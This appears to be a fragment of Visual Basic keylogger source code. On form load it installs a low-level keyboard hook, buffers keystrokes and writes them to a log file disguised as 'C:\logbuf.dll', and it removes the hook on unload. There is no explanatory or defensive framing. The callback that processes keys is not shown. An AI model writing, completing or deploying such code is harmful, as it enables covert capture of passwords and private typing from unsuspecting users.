Private Sub Form_Load() Set ofil = fso.OpenTextFile("C:\logbuf.dll", 8, True) Hook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KeyboardProc, App.hInstance, ByVal 0&) End Sub Private Sub Form_Terminate() unhook = UnhookWindowsHookEx(Hook) ofil.Close End Sub Private Sub Form_Unload(Cancel As Integer) unhook = UnhookWindowsHookEx(Hook) ofil.Close End Sub Public Sub logga(x) On Error Resume Next Dim towr As String Dim logg As TextStream buff = buff & x If Len(buff) > 100 Then xli = Split(buff, Chr(13)) buff = "" For dsl = 0 To UBound(xli) ofil.WriteLine xli(dsl) & vbCrLf Next dsl End If End Sub